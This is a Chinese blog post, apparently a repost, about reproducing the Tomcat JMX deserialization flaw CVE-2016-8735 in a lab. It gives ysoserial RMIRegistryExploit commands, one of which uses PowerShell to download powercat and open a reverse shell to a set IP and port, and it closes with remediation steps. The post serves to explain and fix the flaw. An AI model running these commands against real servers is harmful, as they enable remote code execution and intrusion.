• Tomcat反序列化漏洞(CVE-2016-8735)


    目录​​​​​​​

    CVE-2016-8735

    漏洞复现

    漏洞修复:


    CVE-2016-8735

    漏洞描述:

    该漏洞与之前Oracle发布的 mxRemoteLifecycleListener 反序列化漏洞(CVE-2016-3427)相关,是由于使用了JmxRemoteLifecycleListener 的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致的远程代码执行。
    该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了 JmxRemoteLifecycleListener 的方法。

    漏洞影响版本:

    • ApacheTomcat 9.0.0.M1 到9.0.0.M11
    • ApacheTomcat 8.5.0 到8.5.6
    • ApacheTomcat 8.0.0.RC1 到8.0.38
    • ApacheTomcat 7.0.0 到7.0.72
    • ApacheTomcat 6.0.0 到6.0.47

    漏洞利用条件:

    外部需要开启JmxRemoteLifecycleListener监听的 10001 和 10002 端口,来实现远程代码执行。

    漏洞复现

    环境:Tomcat7.0.39

    在 conf/server.xml 中第 30 行中配置启用JmxRemoteLifecycleListener功能监听的端口:

    配置好 jmx 的端口后,我们在 tomcat 版本(https://archive.apache.org/dist/tomcat/)所对应的 extras/ 目录下来下载 catalina-jmx-remote.jar 以及下载 groovy-2.3.9.jar 两个jar 包。下载完成后放至在lib目录下。

    接着我们再去bin目录下修改catalina.bat脚本。在ExecuteThe Requested Command注释前面添加这么一行。主要配置的意思是设置启动tomcat的相关配置,不开启远程监听jvm信息。设置不启用他的ssl链接和不使用监控的账户。具体的配置可以去了解一下利用tomcat的jmx监控。

    然后启动 Tomcat ,看看本地的 10001 和 10002 端口是否开放

    漏洞利用

    java -cp  ysoserial.jar ysoserial.exploit.RMIRegistryExploit  127.0.0.1 10001 Groovy1  "calc.exe"

    但是由于该命令没有回显,所以我们还是选择反弹shell回来,以下是反弹nc的shell。更多的关于windows反弹shell的cmd和powershell命令,传送门:Windows反弹Shell ​​​​​​​

    java -cp  ysoserial.jar ysoserial.exploit.RMIRegistryExploit  127.0.0.1 10001 Groovy1  "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd"

    漏洞修复:

    1、关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时,增加严格的认证方式。

    2、根据官方去升级更新相对应的版本。

  • 相关阅读:
    消息中间件三、RabbitMQ学习一
    消息队列学习一 概念
    发送网络请求调用第三方接口(spring boot框架)
    动态生成javaBean
    达梦dm数据库远程备份与恢复
    springboot定时任务的使用
    抽象与接口
    电商网站后台九大功能模块详解
    面向对象设计—类和对象
    常用的数据结构—数组
  • 原文地址:https://www.cnblogs.com/csnd/p/11807623.html
Copyright © 2020-2023  润新知